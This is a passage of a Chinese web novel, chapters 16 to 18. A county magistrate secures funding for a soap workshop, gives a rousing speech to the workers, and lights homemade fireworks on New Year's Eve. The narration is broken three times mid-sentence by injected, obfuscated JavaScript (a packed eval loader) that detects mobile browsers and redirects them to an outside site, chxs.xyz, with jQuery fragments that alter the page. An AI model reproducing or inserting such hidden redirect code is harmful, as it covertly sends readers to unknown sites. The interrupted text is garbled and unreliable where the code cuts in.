这一切,都得要有钱才行,还是得努力赚钱啊,裴杼感慨万千。既答应了系统要完成任务,又怎么能因为这点小挫折就颓废失意? 只要能达成目的,被拒绝几次又算得了什么呢? 短暂地恢复后,裴杼告别了小女孩儿跟她父亲,转身元气满满迈入县衙。 面对前来打探的郑兴成跟赵炳文等人,裴杼愣是什么口风都没透露出来。下午甚至处理了不少积攒的琐碎事项,还给差役们重新立了规矩,表示今后要制定县衙守则,所有官吏都得遵守,包括他这个县令也不例外。 他这么大动干戈,搞得郑兴成跟张如胜面面相觑。 这家伙到底是成功了,还是失败了? 只有王绰跟魏平知道,县令大人再次铩羽而归了。其实也在情理之中,毕竟这笔生意要投入不少钱,而他们永宁县精穷,全指望别人来补齐这个窟窿,张县令没将他们赶出去已经很包容了。 第二日,自以为赶走了麻烦,终于能卸下防备的张县令才坐上了公堂,便听到衙役来报:“不好了大人,永宁县裴县令又来了。” 不多时,裴杼又带着他那张过分灿烂的笑脸出现在张县令眼前。 16.事成 大清早的好心情毁于一旦。 张县令已经不知道该如何对付裴杼了,好赖话都已说完,态度也明明白白表露了出来,换个好面子的早就掉头走人,可这位却能忍得了,被嘲讽了都能笑嘻嘻地当做没事人一样,还双手给他递上一份所谓的工坊策划。 看看吧,裴杼诚挚地望着张县令。 这般静默地僵持了许久,心力交瘁之下,张县令还是收下了,说要考虑两日,如此这般才终于将这人给哄走了。 人是离开了,但是张县令知道这并不是结束,而是开始,他永无宁日的开始。早知今日,当初他在跟裴杼初次见面之际就应该给他两个耳刮子,对他狠一点,才不会蹬鼻子上脸。 悔之晚矣啊…… 张县令捏着鼻子翻开裴杼那份稀奇古怪地策划书,这家伙倒是想得挺美,工坊选址、规模、样式、招工量甚至名字都已想好,不知私下暗戳戳惦记了多久。惦记别人也就算了,可裴杼如今惦记的都是安平县的钱啊,张县令实在很难心平气和地看完这些。尤其是等他注意到,两家合作开工坊收益竟然对半分的时候,那可别提多糟心了。 永宁县一穷二白,眼下还求着他们出钱出力,竟好意思跟他们平分收益? “这不是痴人说梦吗?”张县令没好气地合上册子。眼不见,心不烦。 州衙的二位大人再次收到了永宁县的信笺,自打赵炳文被派过去之后,便没报上来什么有用的东西。这几日更是离谱,日日禀告的都是裴杼去安平县要钱建厂一事。 刘太守笑着将信递给杜良川:“瞧瞧,这真把别人当傻子呢,谁家的钱也不是大风刮来的,怎么会轻易给他?” 杜良川看完之后也不客气地嘲笑起来:“真以为凭着那不要脸的劲到哪儿都能借到钱?该!张县令若是真给了钱,我还瞧不上他了。” 他们俩可不像郑兴成那样好糊弄,裴杼因何被调去永宁县,他们二人一清二楚,遂从来也没将裴杼放在眼里。派人过去盯着,也是因为裴杼之前蹦跶得太厉害,他们虽不至于跟裴杼计较,却也看不惯这样特立独行的人。这世道容不下太过张扬的人,是该让他跌几个跟头才好管理。 裴杼仍旧一无所获地回去了,不过尽管如此他还是热情不减,至少这回又进步了一点,他将策划书给张县令留下了,明日再努努力,不怕张县令不答应。正所谓烈女怕郎缠,他当然不是说张县令是女的,但就是这么个道理。反正不管怎样他是不会轻言放弃的! 裴杼越挫越勇,屡败屡战,可把魏平心疼得不行,恨不得让裴杼留下,他去代劳。 但是话还没说出口就被王绰给拦住了:“只有大人去,才可见诚心。” 魏平低下头:“话虽如此,却也太委屈了大人了。” 王绰摇了摇头,委屈吗?不见得。依他所见,裴杼襟怀洒落,坦率开朗,他们以为的委屈只是狭隘的偏见,人家或许根本不在乎这些。有时候正是这份赤诚,才最能打动人。 他们二人稳住了,赵炳文却有些乏力。他一开始还有心思追着裴杼监视,后来在安平县坐够了冷板凳,也懒得再去自取其辱了,只是照例每天一封信送去州衙,汇报裴杼的败绩。 次数多了,就连郑应成都有些同情裴杼了,同样是县令,他们这位裴县令日子过得比旁人艰难多了。若是换了他,他肯定是豁不出去的,毕竟他要脸。折腾了这么多回也没见有什么效果,郑应成也不大好意思嘲笑裴杼不中用了,甚至开始劝他:“要不,咱们换一位县令使使劲儿吧?我在槐县还认识几个人。” 也别总在一棵树上吊死啊,郑兴成都觉得面上无光。 裴杼却信心十足:“不着急,我有预感,张县令就快答应了。” 郑应成见他端着一副势在必得的架势,欲言又止。也罢,他还是不要打击这傻子了,毕竟张县令给的打击已经足够多了。 张县令这儿也左右为难,马上就是年关,县衙都快要放假了裴杼却还是日日登门。这厮不要到钱应当是不会放过他的,张县令也分不清咬死不给,到底是在折磨裴杼还是折磨他自己了。 若是花钱叫人打发走,张县令却又舍不得,万一肉包子打狗有去无回呢?这香胰子未必有澡豆好用啊;可若是不给,他日日见裴杼这样抛下自尊来小意讨好,态度难免软化,毕竟他也不是那等绝情之人,有时候还觉得为难裴杼挺可恶的。 总归是要作出决定,如今张县令就差一个让他彻底下定决心的契机。 在给与不给的两难中,张县令愁眉紧锁了一整日。等傍晚回去后,张县令还未脱下官袍却被他夫人叫了去。 杨夫人见到丈夫后便急忙追问:“你上回拿回来的东西可还有吗?” 张县令被问得一懵,他拿回来什么了? “就是那洗手的东西,你让小厮送过来的。”杨夫人提醒。 张县令眉眼都挤成了一团,他压根不想想起关于裴杼的任何一桩事!在衙门纠结就算了,回家了还要继续痛苦。 杨夫人兀自道:“那东西跟澡豆相似,却比澡豆好用许多。我起先没当一回事,后来用了两日方知是好东西,便赶紧拿给闺女了。听说此物是永宁县那位县令大人送来的?你快同他打听打听,问问他手头还有没有。若有的话再多买几块来,我做年礼送往各处正合适。” 絮絮叨叨一通话,听得张县令忽然挑起了眉。他这夫人有多挑剔他是知道的,连她都说好,可见这香胰还真有几分巧思。张县令不动声色地道:“那叫香胰子,价格不便宜,用着更不划算。若只用来净手的话,平价些的澡豆也未尝不可。” 杨夫人拧了他一把:“你知道什么?虽都是净手之物,但那胰子用完之后香味持久,手背都比往日嫩了许多,但凭这两点,价格昂贵些也使得。” 张县令疼得推开了夫人的手,龇着牙继续试探:“如此说来,即便是卖得贵也有富贵人家愿意买?” “你今日废话怎的这么多?造价昂贵的澡豆不也不愁卖?澡豆都能吃香,这胰子为何不行?你赶紧吩咐人去永宁县买去,别耽误了我的年礼!” 看来真是他小觑了裴杼。张县令受不住夫人威胁,赶忙叫人去问了,同时心里也不大自在。 他拒绝了裴杼这么多回,如今竟还要求到人家头上,实在面上无光。 裴杼在见到安平县来人之后便知道事情能成,立马拿出做好的香胰子给对方,甚至也不要钱,直接抓着王绰直奔安平县而去。 赵炳文见他们风风火火的,赶忙跟上。 裴杼尽管对他嫌弃,却还是碍于刘太守的面子尽力忍让。 郑应成听到动静,伸头往外看时发现人都已经走光了。 一天天的不知道抽什么风,郑应成看得直摇头。 再次见到裴杼,张县令已经不知该用什么表情来应对了。乱七八糟的念头纠缠了许久,最终只化为一声叹息。 得了,他认命了。 就赌一把吧,万一能挣钱呢?况且他也是真的受不住裴杼的软磨硬泡,这事总该有个决断。 裴杼笑脸如昨,带着王绰熟稔地坐下画饼:“大人来日便会明白,今日所做的决定断不会出错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065444|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假以时日,两县的香胰子定能畅销南北,风靡一时。其他三县压着咱们的日子,也会一去不复返,这都得多亏了大人慧眼识珠。” 张县令嘴角抽搐,拍马屁的功夫倒是很精炼:“得了,闲话少说,直接谈吧。” 事情到了这个地步,两边彼此已经心知肚了,裴杼也不废话,开门见山地商量起了两家的生意。 其实裴杼在他交给张县令的那份小册子里就已经规划得清清楚楚,明明白白,只要按着那上面来就行了。可张县令想就出钱这事儿争取一二,他说了半天,裴杼也只是憨憨地笑了一声,两手一摊,表示永宁县实在没钱,只能全由安平县出。 张县令还不信:“这么大的县城,怎么可能没钱呢?” 裴杼道:“是真的没钱,永宁县年年都要被胡人抢,也没有别人替我们分担,州衙拨的那笔钱如今也都用完了。我跟大人说句实话,若非到了山穷水尽的地步,我们也不会追着您不放。” 是真的穷得叮当响,倒不出一个字儿了。 张县令运了运气,又想在分成上面动一动心思,自家争取利益,但很快就被王绰云淡风轻地化解了过去。 绕了一圈,还是什么都没争取到。 建工坊的钱,他们出。 做香胰子原料,他们买。 来日销往京城的门路,也还是他们找。 费钱费力费工夫,却只能拿到一半的利润。 怎么想都不服气,可张县令盯了王绰半天,想生气愣是生不了一点儿,毕竟这人说话怪好听的,即便拒绝了也让人心悦诚服。 见鬼,裴杼到底哪里弄来这么能说会道的下属? 商量了半天,最终还是维持原状,唯有张县令白费口舌,好气。气完之后还得许诺会在年前将钱款给到裴杼,但张县令也再三重申,若是这香胰子工坊血本无归,这笔钱可还是得还的。 裴杼拍着胸部打着包票:“张大人放心,这买卖一定会让咱们赚得盆满钵满,绝不会亏本。” 张县令依旧有几分不爽:“但愿吧。” 赵炳文在后面听得万分惊诧,不是,昨儿还谈崩了吗,怎么今天就事成了?难道这中间还发生了什么他不知道的事儿? 到底许出了一笔钱,今后一段时间县衙的日子只怕也得捉襟见肘,张县令心里也不大痛快。他没法儿对裴杼再使脾气,看向儒雅随和的王绰也憋不出火,转头看到一直畏畏缩缩打量他们的赵炳文,一下子就找到了出气筒。 离开之际,张县令鄙夷地扫了对方一眼:“规矩都学到狗肚子里面去了?我同你家大人正商议要事,你在这儿贼眉鼠眼地打探什么劲,再有下次断不饶你!” 裴杼傻眼了,张县令这神来一笔难道是为他出气的?可为他出气也不至于这样。不成,下回还是提醒一下张县令这赵炳文的身份。 那边赵炳文气得咬紧了牙关,他何曾受过这样的气?更可恶的是,裴杼也不为他说也就算了,竟还在偷笑! 一瞬间,赵炳文感觉自己就像好端端站在角落里,却被无端踹了一脚的狗。 此仇不报非君子,赵炳文回程之前便掏出了笔写了一封信告状,将今日的是全都捅了出去,甚至后面还夹带私货: 裴县令巧舌如簧,城府极深,轻易诱骗大笔钱财。张县令意志不坚,半点不为安平县百姓思量,足见其人难堪大用! 裴杼压根没注意到赵炳文又偷偷告状了,他终于谈成了生意,如今正志得意满准备回去好好炫耀一番! 不知道郑大人会不会“高兴”地傻掉,嘿嘿…… 17.鼓舞 小小的永宁县县衙如今已是泾渭分明,一派欢天喜地,一派是郁郁不平。 郑兴成耷拉着脸,屁股底下就跟长了根针一样,怎么都坐不住。他也想走,可是起身几次都被裴杼给按下来了。 裴杼已经吹了两柱香的功夫了,衙门里头大大小小的官差都被他给叫了过来坐在这儿硬听他吹牛显摆。每当郑应成觉得终于要结束的时候,魏平那家伙总能找到新的点,诱使裴杼再刻画一下细节。 该死的主仆俩,还没完没了! 郑应成恼羞成怒,之前因为裴杼接连失败对他产生的那么点同情瞬间消失,嫌恶感再次占据上风。瞥了赵炳文一眼后,郑应成又不免在心中嫌弃此人无用。每回都巴巴地跟着,不还是一样让裴杼借到了钱么?郑兴成都有些怀疑讨好赵炳文是对是错了。 可眼下也找不到别的可以接近刘太守的机会,只能先指望这么个玩意儿。 好不容易等到裴杼吹得嗓子哑了,魏平也贴心地不再追问细节了,郑兴成才猛地起身准备遁走。 裴杼一看到他冒头,又来劲儿了,故意过来招惹一下郑县丞:“怎么样啊郑大人,这叫黄天不负有心人,若是我听了你们的话直接放弃,还能拿到这笔钱吗?” 郑兴成咬着后槽牙,狞笑着回了一句:“是呢,还得是县令大人高明,我们这等俗人哪里比得上?” 裴杼下巴一抬,骄傲道:“过奖了,区区小事而已,不值得一提。” 郑兴成无语,不值得一提还吹了这么久?口是心非的,怎么不降道天雷劈死你? 裴杼就喜欢郑县丞这憋了一肚子的话又不好说出口的样子,比他平日里阴阳怪气的调调可叫人亲近多了。不过小气怡情,大气伤身,真气坏了可就不妙了,裴杼见好就收,哼着小调快活地离开了。 今日先休息休息,明日他再领着人下去招工,这香胰工坊得快点建成落地才行。 折磨了自己这么久的人说走就走了,独留郑兴成在原地无能狂怒。 就嘚瑟吧,看他能嘚瑟多久,工坊还没建好就已经开始做梦发家致富了,世上哪有那么容易赚钱的行当?真那么赚钱,州衙也不是傻子,他们不知道要来分一杯羹? 说到州衙,郑兴成还得去赵炳文处刷一刷好感。正好人也没走远,郑兴成几步便追上了,耐着性子询问赵炳文这些日子过得如何,可有什么吃不惯穿不惯的地方。又说永宁县还有几处好玩的地方,等得闲了他亲自带赵炳文前去耍一耍。 只是赵炳文今日在张县令那里触了霉头,兴致不大高,见郑兴成说个不停还觉得聒噪,因而态度十分冷淡。话说回来,永宁县这穷地方能有什么好玩的?若不是郑兴成好歹算个官,赵炳文都不屑于搭理他。 阿谀谄媚,一看就是对他有所求,他赵炳文是那么容易被讨好的么? 郑兴成隐隐有些生气,但是转念一想,自己还有求到他的时候,只得耐着性子哄。到了晚间,又自掏腰包去外面买了两个肉菜一壶酒全给赵炳文送了过去。 赵炳文态度依旧倨傲,不过没耽误他收下酒菜饱餐了一顿。 郑兴成气归气,到底没有说什么,只是旁边的张如胜看得心酸,回去之后还抱怨说:“赵炳文这小子,太不知天高地厚了,他若不是州衙派过来的,我必叫人打死他不可!” “这话藏在心里就行了,可别叫人看出端倪,日后总有用到他的时候。” 张如胜挠了挠头:“他真能给咱们说好话?” “肯定会的。”郑兴成安慰对方,也安慰了自己。裴杼都能靠着涎皮赖脸的功夫磨得张县令给了钱,他凭什么不行?想他郑兴成仪表堂堂、文质彬彬、才华过人,又不比别人差,只是没等到伯乐而已。 别人不好说,可他相信太守大人英明神武,一定能一眼相中他的才华。 翌日一早,被郑兴成心心念念的刘太守也得了消息——安平县真的答应给钱了,出钱出力,还只占了一半的利! 刘、杜二人静默良久,这张县令是不是傻子?他们先前对张县令印象都尚可,觉得此人做事中规中矩但是个聪明的。可这消息传来后,好印象瞬间大打折扣。能纵着裴杼胡闹之人,能是什么头脑清明的人? 二人下意识忽略了,他们曾经也被永宁县人缠得不得不掏钱。同样一件事,落在自己身上就是无可奈何,落在别人头上就是彻头彻尾的糊涂蛋了。 可与此同时,刘太守也对这个搅风搅雨的永宁县信任县令有了好奇,到底是什么样的年轻人,竟能如此特立独行? 彼时,裴杼正领着差役四处张贴招工告示。这事儿他们也不是头一回做了,上次挖水库便已招过工。也就是上回裴杼才发现,永宁县的识字率低得吓人,其实不止是永宁县,整个幽州乃至整个梁国的识字率都不高,一个村若能有人识字已经很好了。 书院是没有的,自己的名字也是不知道写的,教育普及,任重道远呐。裴杼已经不知道多少回畅享自己有钱之后要如何了,这回也依旧,待永宁县富裕之后,他必要多建几座学校。 眼下告示贴完之后,裴杼还叫了几个识字的差役挨个去城中还有各村宣读。告示是裴杼亲自写的,王师爷虽然有文采,但是这种招工告示还是越简单越好,如今这告示上就一行字——县衙欲招工建造工坊,管两顿饭,工钱比照市价,日结。 直抒胸臆,简单明了。 百姓听完之后还有什么不懂的呢?他们最关心的事都写在上面了。上回修建水库刚完工,衙门转头就招工了,虽然没两日就要到除夕,可这样赚钱的机会大家也不想错过,尤其是村里人,年过不过无妨,重点是挣钱! 他们可太缺钱了。仅仅一日功夫,衙门就已经招到八九百名工人了。 张县令听闻也赶紧搜罗了安平县的百姓过来建造工坊。裴杼那小子招工时舍得花钱,自家的钱,怎么也不能都便宜了外人,得多挑些人塞进去才好。 只要能干活,裴杼来者不拒。两日内,施工的班子就组建齐了。 工坊选址在永宁县东南边的县郊处,与安平县紧挨着,此处地势平坦、取水方便,来日若是修路也是极合适的。 裴杼跟张县令提前汇合,待会儿所有工人也都会来此集合。裴杼拿着一张纸写写画画,张县令不由得看了过来:“你又在搞什么?” “动员讲话。” “什么?”张县令没听清楚。 裴杼道:“这么大的工程,动工之前肯定是要先鼓舞士气的,否则临近年关,百姓们也提不起精神,若是耽误工期可就不好了。” 张县令听完,若有所思。 嗯,这确实是个给自己揽功劳的好机会。他虽然自诩功高,但是也知道自己不比裴杼能跟这些百姓打成一片,这家伙是真的没有身份之别,相比之下,裴杼就更容易获得民心。 不能让这混小子专美于前,这个风头,他必须把握住! 裴杼还在苦思冥想,等这乌泱泱一群人抵达选址后,他才终于有了些念头。结果裴杼还没开口,就见张县令比施施然迈出稳健的步伐,越过他站在台上,清了清嗓子,开始讲话。 “诸位今日汇聚于此,共谋工坊一事,本官身为安平县县令,自当勉励诸位几句……” 裴杼呆了一会儿,所以他还要不要说? 上面张县令还在引经据典,滔滔不绝。钱毕竟是安平县出的,张县令希望他们都能记住安平县衙,尤其是记住他的恩情。 一番谆谆告诫,结果收效甚微,不识字的百姓都听得晕头转向,只记住了最简单的“钱”字。 “张大人说这么多什么意思?” “不知道啊,可能想让咱们省点钱?但是工钱不是县衙定的吗?” 他们虽然拿了钱,但是干活一向也卖力,并不是白赚了县衙的工钱。一通话讲下来,百姓们只知道这个钱是安平县给的,其他信息一概没有接收到。 张县令也意识到自己说得只怕太复杂了,一眼望去,竟然没有看到他意想中的反应。 泽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15074258|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这群无知刁民。 张县令大失所望,臭着脸回去了。等看到裴杼之后,他还有点来气:“你不是也准备了稿子吗,怎么不上去说两句?” 他也很想看看,裴杼能说出什么文采斐然、惊天动地的大道理出来,他就不信裴杼还能给他说的有条有理。 裴杼无比纠结,他要是再上去说同样一番话,等于是打了张县令的脸;可若是不上去讲两句,这就是冷场了。 思来想去,裴杼直接扔掉了稿子,如今说什么,都不如拿出点实际东西能鼓舞人心。 他直接让人取出几块香胰子,当众展示一番。 张县令皱着眉,这是什么路数? 裴杼高声:“各位,此物便是香胰子,正是咱们工坊今后要做的东西,可洁面润手,小小一枚价值一贯至三贯不等。” 张县令绷不住了,澡豆都没有这么贵的,这不是瞎说么? 底下惊呼连连。 什么香胰子他们根本闻所未闻,至于洁面润手也没有什么人在意,可小小一枚能卖出一贯甚至三贯!天呐,这是什么宝贝东西?难不成是金子跟银子做的? 裴杼可没有吹牛,他要做的香胰子有平价路线也有高端定制,高端的东西价格昂贵些怎么了?只要卖得出去就成。 他继续游说,说着最通俗易懂但又振奋人心的话:“工坊早日建成落地,香胰子便能早日售往大江南北。来日,你们家中的女眷都可来工坊面试,所有的面试公平公正,一经录取便可以来这儿做工。这可是一笔稳健的营生,且工坊干活多劳多得,包吃包住,绝对不会亏待任何一个勤劳能干的人。工坊附近会逐渐发展成集市,待县衙有钱之后,还会修路架桥。假以时日,安平县与永宁县所有百姓都能跟着受益!” 张县令哼了一声,这番话,粗鄙! 粗鄙不粗鄙的,有用就行。有钱大家赚,这就是裴杼要告诉他们的意思,他不需要说大道理,不需要人感激,只需要调动情绪,仅此而已。 惊呼声随之而起,这对百姓们的诱惑确实太大了,直接关乎到每个人的切身利益。 一时间,众人甚至不想再听裴大人说下去,他们只想早日干活,早日把这工坊盖起来,可别耽误了自己赚钱! “当然,香胰工坊不仅要建得快,还得建得好,日后诸位家中的女眷极有可能在这儿做工,可不许偷奸耍滑,坑害了自家人。若有明知故犯者,记上姓名,来日连家人也一定不得录用。” 底下的王绰会心一笑,话虽然糙了一些,但是恩威并施效果极好。 众人急切道:“大人只管放心,我们都在这看着,不要做鬼头我们一个不会放过他!” “就是,我还想让我们家姑娘过来干活呢,我们家姑娘手最巧了。” “我娘子手也利索!” 说着说着,竟相互攀比起来。 裴杼对此十分满意,效果这不就来了吗?事实证明,没有什么比利益更打动人心的了。而且他也没有咬文嚼字,说的可都是大白话,毫无文采才可言,也不算扫了张县令的脸面。 裴杼瞅了瞅张县令,怎么样,够意思吧? 一个文雅,一个粗俗,他可没跟张县令抢风头。 张县令:“……” 不知道为什么,他竟然更生气了,那样一番慷慨激昂抑扬顿挫的话,竟然不及裴杼这三言两语?这群平头百姓果真没见识。 动员过后,这小小的一片工地上便开始热火朝天地忙了起来。裴杼也稍微得了闲,可他是个闲不住的,坐下来之后练琢磨着给州衙那位刘太守写封信,邀请他明年春天来水库一观。 当然看水库都是顺带的,裴杼主要是想借刘太守的名头搞点噱头。 裴杼还在信中大方承认,他不仅想邀请刘太守,还想问问刘太守,能否帮忙邀请其他诸位县令共聚?后又委婉表示,能否请太守大人墨宝,给水库取名并留碑文一篇。 刘太守收到信都有点不可思议,这人还真是……好厚的脸皮。 18.烟火 须臾,听到动静的杜良川跟一阵风儿似的跑了过来。 他二人多年相处下来,早已没什么尊卑讲究,从刘太守手里拿来信一目十行看完后,杜良川便忍不住破口大骂:“他以为自己是谁?不过一介边陲县令而已,还敢对着您颐指气使?” 尽管裴杼在信里说得还算委婉,但提的要求可一点儿不少。寻常县令哪里敢对太守这般说话?也就这一个,胆大包天,不知所谓! 刘岱没应和。 杜良川琢磨了一下,惊诧道:“大人,您该不会是真想如了他的意吧?” 刘太守缓缓道:“去瞧一瞧也无不可。” 他对这个异于常人的裴杼早已好奇许久,加上那水渠也是州衙借钱修筑的,若不去看看成果如何,岂不是白出了这笔钱?况且,刘太守也想当面提点一番裴杼,免得这混不吝的又不打算还钱了。 得到回信的裴杼美滋滋地向众人宣布,等到明年开春之际,太守大人会亲临永宁县,各位县令也会陪同,并吩咐众人务必做好迎来送往。这吩咐主要是对着郑兴成的,毕竟最近就郑大人最闲。 裴杼还没怎么敲打呢,就见郑兴成立马劲头十足地表示:“大人放心,这事儿只管交给我,我今儿下去便开始筹备,绝对不会丢了县令大人跟永宁县的脸面!” 裴杼被他这积极的态度给弄得一懵:“刘太守开春之后才会过来。” 郑兴成只是笑着道:“那也得提前准备着才行,太守大人难得来一次,得万无一失才成。” 说完,他便叫着张如胜,欢天喜地地下去准备了。才瞌睡了就有人递了枕头来,他正愁没办法攀上幽州城的官员呢,裴杼竟然直接将太守给请过来了,这回若是不狠狠表现一番都对不住自己多年来的经营。 二人脚步轻快,背影都透着得意。 魏平不知何时走到裴杼跟前,端详他们二人片刻后,压低声音道:“大人,郑县丞只怕心已经在别处了。” “无妨,水往低处流,人往高处走,他想高升奔着州衙去,我们也拦不住。”裴杼知道郑兴成是个不安分的,但也真有几分本事在。他若是能趁此机会脱身去州衙,也就由着他去吧。只是以后缺了个斗嘴较劲的,日子难免平淡许多。 以郑兴成那上心的模样,招待刘太守这事裴杼就不必操心了,只是在郑兴成拿着几个方案过来请示的时候,仔细告诫他不许铺张浪费,不许多用账上的钱。饶是如此郑兴成都没有动怒,为了巴结上刘太守,他哪怕自己多出钱垫上又算的了什么? 对于跳出永宁县攀上州衙,郑兴成已经势在必得了。 日子一晃,便到了除夕。 裴杼虽然着急工坊一事,但是也没有吝啬到一日的假都不愿意放。除夕初一两日停工,这毕竟裴杼来永宁县过得第一个除夕,虽然没钱,可他也想热闹热闹。 裴杼每个月的月俸不高,这几个月他都节省下来了,就等着过年花。几日前,他便将让成四带着他的月俸去了州衙,给他买了不少东西。 东西买回来之后,裴杼私下里捣鼓半天,除他之外,再无人知道他究竟在筹备什么。 郑兴成私下里少不得蛐蛐他一句“故弄玄虚”,反正他对裴杼做出来的不抱任何期待。 除夕那日,永宁县中比往日热闹了许多,周边村落的人也都聚在城门处,准备看傩戏。如今百姓们的娱乐活动不多,尤其是永宁县这等穷苦之地,即便是过年也不过比平常多置办年货罢了,唯一值得期待的便是这酬神纳吉的傩戏了。 这可是县城中的富户联合请的,每年除夕都来热闹一回。百姓们不花钱也能看到一场表演,是以每年都十分热衷。今年演的《目连救母》,说的是佛陀弟子目连救亡母出地狱的戏。虽然之前也听过,但还有许多人看得津津有味。 小孩儿们被家中父兄驾在肩膀上,瞧见这些眼花缭乱的表演哇哇直叫唤。边上还有人支起火堆,将竹子扔进去,“爆竿”声噼里啪啦,配着傩戏好不热闹。 裴杼已经悄悄摸到了城墙上,魏平跟王绰一左一右地守在他跟前,因为裴杼瞒得紧,他俩也不知道裴杼到底要干什么。 傩戏表演结束后,时辰已经不早了,今夜城门关得晚,住得近的人还可以进城再看看花灯,虽然不多,好歹是个意思。住得远一些的,只得收拾收拾回家守岁了。 不少人正准备离开,忽然听到一声“砰”的声响,随即便有东西在空中炸裂。这声还未结束,接二连三的火苗笔直地蹿上了天,以排山倒海之姿迅速炸开,化作流星点点,绚烂异常,须臾,又消失在天际。 “这是何物?”城门下有人交头接耳。 有眼尖的立刻指出来:“看,是县令大人,这肯定是县令大人弄出来的爆竿。” 烧竹子是为了驱逐瘟神,这个烟火一样的东西肯定也是一个意思! 众人闻言看过去,果然是他们的县令大人站在城门上,正手持火折子,接连不断地点着一个纸包,火线引燃之后,便是他们看到的奇景了。 烟火此起彼伏,将黑夜映照得如同白昼一般。 小孩儿们脸忽明忽暗,目光盈盈。他们哪里见过这样厉害的东西?惊叫声一下高过一下,就连大人们也看得目不转睛,朝着裴杼高喊: “大人,再来一个呗!” “再放高点儿。” “刚刚那个蓝色的最好看!” 起哄声之下,裴杼放烟花放得更起劲儿了。过年么,怎么能没有烟花呢? 他也是前段时间才惊奇地发现,梁国才刚有了火药。火药都还没有普及呢,更别说烟花了。裴杼也是讨巧,利用后世学到的那点东西琢磨出了这入门版的烟花,虽然每个纸包都只有一发,但是聊胜于无。 在众人期盼之下,裴杼又点燃了一个烟花纸包,随着烟火在空中绽放,欢呼声不绝于耳。裴杼也跟个孩子王一样起哄,有红色烟花时,他便带着喊了一声“洪福齐天”;等到了紫色时,便教他们喊“紫气东来”。 到最后,不用裴杼提醒,都能听到一声声整齐划一的祝愿,连不怎么会说话的小孩儿都能一边拍着手,一边喊几嗓子含糊不清的祝福语。 真好啊,众人心头火热,明年肯定能洪福齐天,紫气东来。 城门处的热闹经久不散。 王绰看裴杼玩得起劲,轻易调动了所有人都情绪,不禁又想到了他好容易攒起来的那笔钱。为了这转瞬即逝的欢愉,几个月积蓄花得精光,换做以前王绰少不得要念叨几句,但如今……王绰一一看过这些欢呼雀跃的百姓,由衷感觉很值。 于苦难中孕育出的豁达乐观,光是这种精神便已经千金不换了,一时间,王绰甚至豁然开朗,他过往经历的那些坎坷又算得了什么呢?只是庸人自扰罢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15079593|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百姓们都能辞旧迎新,他又为何非得执着于过往?他王绰不是输不起,即便失败过一回,依旧能东山再起。没错,旧主不慈,再立一个便是。 王绰越想越振奋,他能扶持一个,为何不能扶持第二个呢?眼前这位,便是他即将辅佐的新君。 气运,裴杼本身便不缺。 声望,依旧唾手可得。 至于班底,他自会为裴杼凑齐。 原来一切都是水到渠成,他之所以被救,也正是天意!天意如此,他也只能顺势而行。 裴杼似乎感受到了什么,茫然回头:“师爷,我脸上有东西么?” 回答他的只有王师爷云淡风轻的笑,笑得裴杼不知道为何有点慌。 城门处的动静闹得极大,在家安安静静守岁的郑兴成被吵了出来。抬头一看,便瞧见了点燃的烟花。那东西蹿得高,整个永宁县都能看到。不用想也能猜出这是谁弄出来的,郑兴成嘴里骂着裴杼奢靡浪费、招摇过市…… 可骂着骂着,忽然又觉得这玩意儿还挺好看的。 “去,把家里的少爷姑娘都抱出来瞧瞧这新鲜玩意儿。”郑兴成催促小厮道。 热热闹闹的除夕夜过去后,百姓们仍在回味当夜的烟火。只可惜县衙的人说那东西贵得很,又只有县令大人知道做,否则他们也想放一放,多热闹多喜庆啊。 好在县令大人答应了,明年还有烟火,比今年的还要多,还要齐全,还要盛大!本来他们对明年也没什么感觉,但是听不到县令大人这么说后,便不由自主地期待起来年了。 日子总得有个盼头。 初二一到,裴杼又恢复了早出晚归的忙碌生涯。在他跟张县令的紧盯下,工坊很快便有了雏形,至于原料,也都备齐了一批。 说起这原料,张县令也是肉疼得紧。尽管知道这笔投入是必须的,但这也太贵了!他不止一次的跟裴杼商量过,换一些平价的代替,可那家伙把钱拿到手就不当人了,根本不把他的叮嘱放在心上。 张县令给的那笔钱一日比一日少,看得他都心慌。只此一次,下回无论如何他都不会再跟裴杼有任何牵扯,就这花钱的速度,他不想再看到第二回,便是家里有金山银山也经不住他这么造啊。 好在,随着工坊落地,这花钱如流水一般的日子终于算是告一段落了。 二月底,幽州一带天气回暖,水库也蓄上了一点水,不过没蓄满,约莫只存了一小半儿,余下得等到汛期泄洪时再放。 刘太守遵守诺言,这日终于要巡访永宁县了。 各县官员虽然不大乐意,但也还是早早地赶到永宁县候着。裴杼作为东道主,一大早便开始忙活起来,至于郑应成,他比裴杼这个县令还要更负责、更面面俱到。 